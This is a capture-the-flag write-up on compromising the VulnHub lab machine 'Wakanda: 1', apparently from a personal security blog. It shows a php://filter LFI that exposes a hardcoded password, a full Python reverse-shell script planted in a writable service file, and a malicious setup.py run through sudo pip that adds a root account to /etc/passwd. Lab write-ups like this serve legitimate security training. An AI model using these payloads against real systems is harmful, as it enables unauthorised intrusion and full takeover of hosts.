Vulnhub Wakanda Writeup

10 minute read

Wakanda: 1 is an intentionally vulnerable machine hosted by VulnHub and created by xMagass. It’s plot is that a new “Vibranium market will soon be online in the dark net” and that our goal is to get our hands on the root file. Some of the techniques required to own this box are pretty modern and it does test your lateral thinking skills.

Alright, lets dive in!

First things first, i need to find the IP of the Wakanda host. I’ll find the ip by using the netdiscover tool:

root@delo:~# netdiscover -i eth0 -r 10.0.0.0/24

I discover wakanda is on 10.0.0.24. Time to use masscan to discover any open ports:

root@delo:~# masscan -p1-65535,U:1-65535 10.0.0.24 --rate=500 -e eth0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-08-15 01:32:19 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 56195/tcp on 10.0.0.24                                    
Discovered open port 3333/tcp on 10.0.0.24                                     
Discovered open port 80/tcp on 10.0.0.24                                       
Discovered open port 111/tcp on 10.0.0.24  

Once masscan is finished I run nmap on the discovered ports to identify the service versions:

root@delo:~# nmap -T4 -A -p 56195,3333,80,111 10.0.0.24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-14 21:40 EDT
Nmap scan report for Wakanda1 (10.0.0.24)
Host is up (0.00070s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          36633/udp  status
|_  100024  1          56195/tcp  status
3333/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
|   2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
|   256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_  256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)
56195/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.70 ms Wakanda1 (10.0.0.24)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.21 seconds

So we have a web service on port 80, a RPC bind going on port 111 with a RPC associated port on 56195 and a SSH service hiding on port 3333. I’ll attempt to bruteforce any interesting directories and files using gobuster:

root@delo:~# gobuster -u http://10.0.0.24 -l -s 200,204,301,302,307,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.0.0.24/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,403,200
[+] Show length  : true
[+] Extensions   : .php
[+] Expanded     : true
=====================================================
http://10.0.0.24/index.php (Status: 200) [Size: 1527]
http://10.0.0.24/fr.php (Status: 200) [Size: 0]
http://10.0.0.24/admin (Status: 200) [Size: 0]
http://10.0.0.24/backup (Status: 200) [Size: 0]
http://10.0.0.24/shell (Status: 200) [Size: 0]
http://10.0.0.24/secret (Status: 200) [Size: 0]
http://10.0.0.24/troll (Status: 200) [Size: 0]
http://10.0.0.24/server-status (Status: 403) [Size: 297]
http://10.0.0.24/hahaha (Status: 200) [Size: 0]
http://10.0.0.24/hohoho (Status: 200) [Size: 0]
=====================================================

Hmm, that doesn’t look very promising. We’ve got a lot of empty files with some blatant troll-ish names. Server-status files are sometimes interesting but in our current case it’s forbidden. I’ll curl the index.php page and check for anything interesting, such as comments or hardcoded vulnerable code:

root@delo:~# curl http://10.0.0.24/index.php
<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Vibranium market">
    <meta name="author" content="mamadou">

    <title>Vibranium Market</title>


    <link href="bootstrap.css" rel="stylesheet">

    
    <link href="cover.css" rel="stylesheet">
  </head>

  <body class="text-center">

    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">
        <div class="inner">
          <h3 class="masthead-brand">Vibranium Market</h3>
          <nav class="nav nav-masthead justify-content-center">
            <a class="nav-link active" href="#">Home</a>
            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
          </nav>
        </div>
      </header>

      <main role="main" class="inner cover">
        <h1 class="cover-heading">Coming soon</h1>
        <p class="lead">
                  </p>
        <p class="lead">
          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>
        </p>
      </main>

      <footer class="mastfoot mt-auto">
        <div class="inner">
          <p>Made by<a href="#">@mamadou</a></p>
        </div>
      </footer>
    </div>



  

</body></html>

We have an author name, ‘mamadou’, and a somewhat interesting comment in the html. In regards to the comment, I suspect it will turn the langage from english to french. I’ll confirm if that is indeed the case by calling it in the url:

root@delo:~# curl 10.0.0.24/index.php?lang=fr
<-snip->
    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">
        <div class="inner">
          <h3 class="masthead-brand">Vibranium Market</h3>
          <nav class="nav nav-masthead justify-content-center">
            <a class="nav-link active" href="#">Home</a>
            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
          </nav>
        </div>
      </header>

      <main role="main" class="inner cover">
        <h1 class="cover-heading">Coming soon</h1>
        <p class="lead">
          Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l'écoute!        </p>
        <p class="lead">
          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>
        </p>
      </main>
<-snip->

Indeed, it does turn the language from english to french. I wonder if this could allow for some type of LFI? I attempt basic LFI cases (such as directory traversal and simply calling /etc/passwd) and don’t get anywhere. I turn my focus to more advance techniques and stumble across this great resource regarding lfi using file wrappers. After playing with a few variations using the file wrapper technique I hit the jackpot. The index page now includes some bas64 encoded php code:

root@delo:~# curl 10.0.0.24/index.php?lang=php://filter/convert.base64-encode/resource=index
PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=


<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Vibranium market">
    <meta name="author" content="mamadou">

    <title>Vibranium Market</title>

Decoding the base64 provides me with some credentials:

root@delo:~# echo 'PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=' | base64 -d
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Vibranium market">
    <meta name="author" content="mamadou">

    <title>Vibranium Market</title>

Great! I’ll attempt to ssh in with the author name we spotted earlier, mamadou, and the password we have just discovered, Niamey4Ever227!!!:

root@delo:~# ssh mamadou@10.0.0.24 -p 3333
mamadou@10.0.0.24's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 12 23:11:55 2018 from 10.0.0.23
Python 2.7.9 (default, Jun 29 2016, 13:08:31) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 

Perfect! I’ve made a successful connection using the credentials and have been dropped into an interactive python shell. Escaping from the shell should be trivial:

>>> import pty
>>> pty.spawn("/bin/sh")
$ id
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)

Now that I have a proper PTY shell, It’s time to start enumerating the system. I’ll start by checking the home folder:

 $ ls -lah $home
total 24K
drwxr-xr-x 2 mamadou mamadou 4.0K Aug  5 02:24 .
drwxr-xr-x 4 root    root    4.0K Aug  1 15:23 ..
lrwxrwxrwx 1 root    root       9 Aug  5 02:24 .bash_history -> /dev/null
-rw-r--r-- 1 mamadou mamadou  220 Aug  1 13:15 .bash_logout
-rw-r--r-- 1 mamadou mamadou 3.5K Aug  1 13:15 .bashrc
-rw-r--r-- 1 mamadou mamadou   41 Aug  1 15:52 flag1.txt
-rw-r--r-- 1 mamadou mamadou  675 Aug  1 13:15 .profile

Our first flag is present:

$ cat /home/mamadou/flag1.txt

Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc

Continuing on with basic enumeration I discover there’s also another user account on the box called devops:

$ cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash
<-snip->
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash

Inside the devops user home directory lies the flag2.txt file, which I don’t currently have read access to:

$ ls -lah devops
total 28K
drwxr-xr-x 3 devops developer 4.0K Aug 13 00:09 .
drwxr-xr-x 4 root   root      4.0K Aug  1 15:23 ..
lrwxrwxrwx 1 root   root         9 Aug  5 02:25 .bash_history -> /dev/null
-rw-r--r-- 1 devops developer  220 Aug  1 15:23 .bash_logout
-rw-r--r-- 1 devops developer 3.5K Aug  1 15:23 .bashrc
-rw-r----- 1 devops developer   42 Aug  1 15:57 flag2.txt
-rw-r--r-- 1 devops developer  675 Aug  1 15:23 .profile

I check /etc/group for the gids of the devops user and the developer group and then perform a search for any files belonging to the user/group:

$ cat /etc/group | grep developer
developer:x:1002:
$ cat /etc/group | grep devops
devops:x:1001:
$ find / -group 1001 2>/dev/null
$ find / -group 1002 2>/dev/null
/srv/.antivirus.py
/usr/bin/pip
/home/devops
/home/devops/.bashrc
/home/devops/.profile
/home/devops/.bash_logout
/home/devops/flag2.txt

The /srv/.antivirus.py file looks very interesting indeed. I wonder what permissions it has:

$ ls -lah /srv/.antivirus.py
-rw-r--rw- 1 devops developer 681 Aug 12 23:34 /srv/.antivirus.py

As suspected I can write to it, which is all good and proper but I will need it to be executed by the devops user to be able to do anything interesting with it. I’ll continue my enumeration before I add a reverse shell to the .antivirus.py file:

$ grep -rnw '/' -e '.antivirus.py'
/lib/systemd/system/antivirus.service:11:ExecStart=/usr/bin/env python /srv/.antivirus.py

Great! so there appears to be a service that starts .antivirus.py. My intuition tells me that there’s probably one that stops and restarts it at certain time intervals as well. So I’ll add my python reverse shell:

$ cat .antivirus.py
#!/usr/bin/python2
"""
Reverse Connect TCP PTY Shell - v1.0
infodox - insecurety.net (2013)
Gives a reverse connect PTY over TCP.
For an excellent listener use the following socat command:
socat file:`tty`,echo=0,raw tcp4-listen:PORT
Or use the included tcp_pty_shell_handler.py
"""
import os
import pty
import socket

lhost = "10.0.0.23" # XXX: CHANGEME
lport = 443 # XXX: CHANGEME

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
	
if __name__ == "__main__":
    main()

Back on my local machine I start a netcat listener on port 443 and wait:

root@delo:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.0.0.23] from Wakanda1 [10.0.0.24] 37047
devops@Wakanda1:/$ id
id
uid=1001(devops) gid=1002(developer) groups=1002(developer)
devops@Wakanda1:/$ 

About 5 minutes later I get the call back. I grab the second flag:

devops@Wakanda1:/$ cat /home/devops/flag2.txt
cat /home/devops/flag2.txt
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098

Now I begin to check for a way to escalate to root. One of the first things I do when attempting priv esc, is to check sudo -l:

devops@Wakanda1:/$ sudo -l
sudo -l
Matching Defaults entries for devops on Wakanda1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User devops may run the following commands on Wakanda1:
    (ALL) NOPASSWD: /usr/bin/pip

Ah look at that! I can run pip as root, opening up the door for an easy priv esc by using a malicious setup.py file. Back on my local host I create a malicious setup.py file that will add a root user to /etc/passwd:

#!/usr/bin/python
#Rename to setup.py before use
#Run: sudo /usr/bin/pip install . --upgrade --force-reinstall
#Get root shell: su delo
#password is dsrrocks
from setuptools import setup
from setuptools.command.install import install
import os

class CustomInstall(install):
    def run(self):
        install.run(self)
        os.system('echo delo:3GsXLdEaKaGnM:0:0:root:/root:/bin/sh >> /etc/passwd')

setup(name='delopip',
      version='1.1.1',
      description='This will exploit a sudoer able to run /usr/bin/pip as root',
      url='https://github.com/delosec',
      author='delo',
      author_email='delo@sec.com',
      license='MIT',
      zip_safe=False,
      cmdclass={'install':CustomInstall})

I then start a python http server up to transfer my file to the box:

root@delo:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.0.0.24 - - [14/Aug/2018 23:22:33] "GET /setup.py HTTP/1.1" 200 -

Back on the Wakanda host I use wget to grab my malicious setup.py file from my box:

devops@Wakanda1:~$ wget http://10.0.0.23:8000/setup.py
wget http://10.0.0.23:8000/setup.py
--2018-08-14 23:22:32--  http://10.0.0.23:8000/setup.py
Connecting to 10.0.0.23:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 569 [text/plain]
Saving to: ‘setup.py’

setup.py            100%[=====================>]     569  --.-KB/s   in 0s     

2018-08-14 23:22:32 (132 MB/s) - ‘setup.py’ saved [569/569]

I then execute pip as root like so and cross my fingers that it runs without error:

devops@Wakanda1:~$ sudo /usr/bin/pip install . --upgrade --force-reinstall
sudo /usr/bin/pip install . --upgrade --force-reinstall
Unpacking /home/devops
  Running setup.py (path:/tmp/pip-yZCfWl-build/setup.py) egg_info for package from file:///home/devops
    
Installing collected packages: delopip
  Found existing installation: delopip 1.1.1
    Uninstalling delopip:
      Successfully uninstalled delopip
  Running setup.py install for delopip
    
Successfully installed delopip
Cleaning up...

Excellent! No errors occured during the run. I’ll check /etc/passwd to make sure my account has been added:

devops@Wakanda1:~$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
<-snip->
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash
delo:3GsXLdEaKaGnM:0:0:root:/root:/bin/sh

All looks good! I’ll switch to my freshly created root user and grab the flag:

devops@Wakanda1:~$ su delo
su delo
Password: dsrrocks
# id; hostname; uname -a; cat /root/root.txt
id; hostname; uname -a; cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
Wakanda1
Linux Wakanda1 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux
 _    _.--.____.--._
( )=.-":;:;:;;':;:;:;"-._
 \\\:;:;:;:;:;;:;::;:;:;:\
  \\\:;:;:;:;:;;:;:;:;:;:;\
   \\\:;::;:;:;:;:;::;:;:;:\
    \\\:;:;:;:;:;;:;::;:;:;:\
     \\\:;::;:;:;:;:;::;:;:;:\
      \\\;;:;:_:--:_:_:--:_;:;\
       \\\_.-"             "-._\
        \\
         \\
          \\
           \\ Wakanda 1 - by @xMagass
            \\
             \\


Congratulations You are Root!

821ae63dbe0c573eff8b69d451fb21bc

# 

A very fun and cleverly put together box. Great job to xMagass for creating. Cheers.

Updated: